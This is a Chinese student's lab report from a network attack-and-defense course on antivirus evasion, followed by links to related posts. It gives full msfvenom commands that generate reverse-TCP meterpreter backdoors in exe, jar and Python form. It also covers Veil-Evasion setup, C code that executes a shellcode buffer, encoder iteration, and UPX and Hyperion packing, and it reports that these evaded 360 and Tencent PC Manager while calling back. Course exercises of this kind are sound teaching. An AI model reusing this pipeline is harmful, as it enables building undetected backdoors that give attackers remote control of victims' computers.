2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

课上知识点总结

1.恶意软件检测机制

  • 基于特征码的检测(需要定期更新病毒库)
  • 启发式恶意软件检测(实时监控,开销较大)
  • 基于行为的恶意软件检测(如API监控)

2.免杀技术综述

  • 改变特征码

    • 加壳(拥有.exe文件)

      • 压缩壳
      • 加密壳
    • shellcode+encoder
    • 重写重编译(veil-evasion或者手工)
    • 半手工化(主流)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据(如https)
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

Exp3.1 能够正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.1.1正确使用msf编码器并使用msfvenom生成文件

实验思路:msf在上次实验生成后门程序中已经使用过,所以在此实验中我进一步了解了msf各个参数的作用,以及加入了使用VirusTotalVirscan进行检测。

  • msf中的使用的参数(参考博客

    • -p指定需要使用的payload(攻击载荷)

      • 查看msf可用的payload列表:msfvenom -l payload
      • msfvenom生成各类Payload命令(详见博客)这个对之后的实验有帮助
    • -f指定payload的输出格式
      • 产看msf支持的输出格式:msfvenom --list formats
    • -e指定需要使用的encoder(编码器)
      • 查看可用的编码器:msfvenom -l encoder
    • -b生成的文件中不存在-b之后指定的内容
    • -i num指定编码器迭代的次数
  • 利用msf生成.exe文件并进行测试

    • 生成.exe文件
    msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.43.85 PORT = 5312 -f exe > backdoor.exe

    • 利用VirusTotal进行测试

      由图可知,在69个软件中有50个软件报错,比例还是很高的。下面的步骤中加入编译器和迭代的思想。

    • 测试是否可以在windows下实现免杀,显然是不行的

  • 利用msf生成.jar文件并进行测试

    • 生成.jar文件:
    msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub  -i 4  HOST = 10.1.1.154 PORT = 5312 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次

    • 利用VirusTotal进行测试



      使用编译器和迭代的效果不是很大。

    • 测试是否可以在windows下实现免杀,竟然可以(震惊.jpg)

  • 利用msf生成.py文件并进行测试

    • 生成.py文件:
    msfvenom -p cmd/unix/reverse_python  HOST = 10.1.1.154 PORT = 5312 -f raw > backdoor.py

    • 利用VirusTotal进行测试

    • 测试是否可以在windows下实现免杀,和我预测一样

3.1.2使用veil-Evasion生成后门程序及检测

  • 安装Veil-Evasion(参考博客)

    • 说来话长,我的kail是2018的镜像,安装过程十分的顺利and超级快,但是它就是不能生成文件./update压根没有用,所以我就拷贝了同学的2019镜像(她也是用这种方法安装的,所以这个方法还是有效的,仅供参考)
    • 安装git:sudo apt-get -y install git
    • 下载Veil-Evasion:git clone https://github.com/Veil-Framework/Veil-Evasion.git
    • 把Veil-Evasion移动到opt(随你选择)目录下:mv Veil-Evasion /opt
    • 进入Veil-Evasion所在目录:cd /opt/Veil-Evasion/
    • 启动bash脚本进行安装:bash setup/setup.sh -s

    • 启动Veil-Evasion:进入/opt/Veil-Evasion 运行./Veil-Evasion.py

  • c重写meterperter

    • use显示所有的Available Payloads
    • 选择4:c/meterpreter/rev_http进入配置界面
    • 设置反弹连接IP:set LHOST 10.1.1.154
    • 设置反弹端口:set LPORT 5312
    • 显示当前信息:info

    • 生成文件generate并输入指定的名称

    • 利用VirusTotal进行测试

    • 测试是否可以在windows下实现免杀

3.1.3利用shellcode编程

  • 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=10.1.1.154 PORT=5312 -f c

  • 创建20165312-Exp3-1-3.c文件,将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 交叉编译:i686-w64-mingw32-g++ 20165312-Exp3-1-3.c -o 20165312-Exp3-1-3.exe

  • 利用VirusTotal进行测试

  • 使用ncat将kail下20165312-Exp3-1-3.exe文件

    传送给windows并尝试回连(开启windows defender开启状态下)

    • windows:ncat.exe -l -p 5312 > 20165312-Exp3-1-3.exe
    • linux:nc 10.1.1.151 5312 < 20165312-Exp3-1-3.exe
    • 结果smile

  • 在刚才生成shellcode的基础上我又加了编译器和迭代进行了又一次的尝试,首先生成新的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.1.1.154 LPORT=5312 -f c后面的步骤就是重复了,不啰嗦了。

  • 利用VirusTotal进行测试,就比刚才少了一点

  • 再测试下windows下,结果恩。。。

3.1.4加壳工具

  • 压缩壳(以UPX为例)

    • 对已经生成的20165312-Exp3-1-3.exe进行压缩:upx 20165312-Exp3-1-3.exe -o 20165312-upxed1.exe

    • 利用VirusTotal进行测试

    • 测试下在windows下,smile again

  • 加密壳(以Hyperion为例)

    • 将已经生成的20165312-upxed1.exe复制到/usr/share/windows-binaries/hyperion

    • 进入/usr/share/windows-binaries/hyperion

    • 进行加壳:wine hyperion.exe -v 20165312-upxed1.exe 20165312-upxed-Hyperion.exe

    • 利用VirusTotal进行测试

    • 在windows下进行测试(终于不用smile)

Exp3.2通过组合应用各种技术实现恶意代码免杀

  • 实际上在上一步加密壳的操作中已经实现了免杀,即采用c语言调用shellcode+压缩壳+加密壳的方式。但是这种方法我没有实现回连,实际上我又试了c语言调用shellcode+加密壳的方式,也是无法实现回连的。and我发现加壳之后,检测出来有问题的软件个数变多。所以加壳未尝是一个很好的方法。所以我在实验过程中尝试了c调用shellcodec调用shellcode+压缩壳的方式,都可以实现免杀+回连。但是我认为这种免杀只是暂时性的。

  • 回连成功

  • 免杀成功

Exp3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 注:exp3.2与3.3方法相同,只不过换网络了,就使用相同方法生成了。

  • 电脑系统:Windows 7

  • 杀软名称:360安全卫士(11.5.0.2002)



  • 回连成功

实验总结与体会

  • 实验感想

在检测恶意代码是否能在windows下实现免杀时,除了检测了电脑管家,我还检测了Windows Defender。不得不说电脑管家很大程度上是不管用的,但是Windows Defender也太强了吧。backdoor.py通过VirusTotal检测为只有一个软件可以检测出来,但是Windows Defender也是秒杀。至于实现免杀我目前只能做到电脑管家免杀,但是Windows Defender还不行,如果有哪位dalao会了请教教我!

  • 杀软是如何检测出恶意代码的?
  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么?

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码

    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 开启杀软能绝对防止电脑中恶意代码吗

通过做实验实现了免杀,显然杀软不能绝对防止恶意代码

实验中遇到的问题及解决方案

  • 经常出现回连不成功的现象,特别是加密壳,我觉得大概是个玄学。(没错我还没有解决这个问题)
  • emmm诚实的说,我做实验的时候成功的案例,过了几个小时之后,就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍,可以实现免杀,电脑管家更新病毒库还是可以的吧?
  • 至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下,如何在windows defender下实现杀软(毕竟我试了,这一切实验对于windows defender都是渣渣。。)

2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  2. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  3. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  4. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  5. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  6. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  7. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  8. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  9. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  10. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

随机推荐

  1. 移动终端设备ID

    转自:https://wetest.qq.com/lab/view/116.html 一.前言 对于移动端产品的常规统计分析和运营推广,渠道结算来说,能精准的识别区分并且跟踪一台终端设备(一个终端用户 ...

  2. github 和 jupyter

    放在github上的.ipynb文件可以用jupyter nbviewer来查看和分享. nbviewer首页: http://nbviewer.jupyter.org/ 输入github的名字或网址 ...

  3. react native onEndReached频繁多次调用问题

    今天被这个问题搞得头疼,写一个分页加载,但是listview的onEndReached方法老是被频繁调用,知道加载完所有的分页数据才停止. <ListView automaticallyAdju ...

  4. C# 树状图

    效果图: 结构: frmMain层 using hierarchy.BLL; using hierarchy.Model; using System; using System.Collections ...

  5. JavaScript语言里判断一个整数是偶数还是奇数,并输出判断结果

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  6. shiro验证(转)

    http://blog.csdn.net/tch918/article/details/13765799

  7. SOCKET.IO 的用法 系统API,

    原文:http://www.cnblogs.com/xiezhengcai/p/3956401.html 1. 服务端 io.on('connection',function(socket)); 监听 ...

  8. 2018-2019-2 20165313《网络对抗技术》Exp1 缓冲区溢出实验

    实践涉及指令 NOP:NOP指令即"空指令".执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令.(机器码:90) JNE:条件转移指令, ...

  9. cisco4507引擎模式切换

    1.redu     mode sso2.wri 可能存在的问题:无法切换至sso原因:ios镜像版本不一致 解决方法: 1. copy bootflash: slavebootflash: 2. d ...

  10. Linux第十节课学习笔记

    部署LVM三步: 1.pv:使设备支持LVM: 2.vg:对支持LVM的设备进行整合: 3.lv:将整合的空间进行切割. 每个基本单元PE的大小为4M,分配空间必须是4M的整数倍.可以容量或基本单元个 ...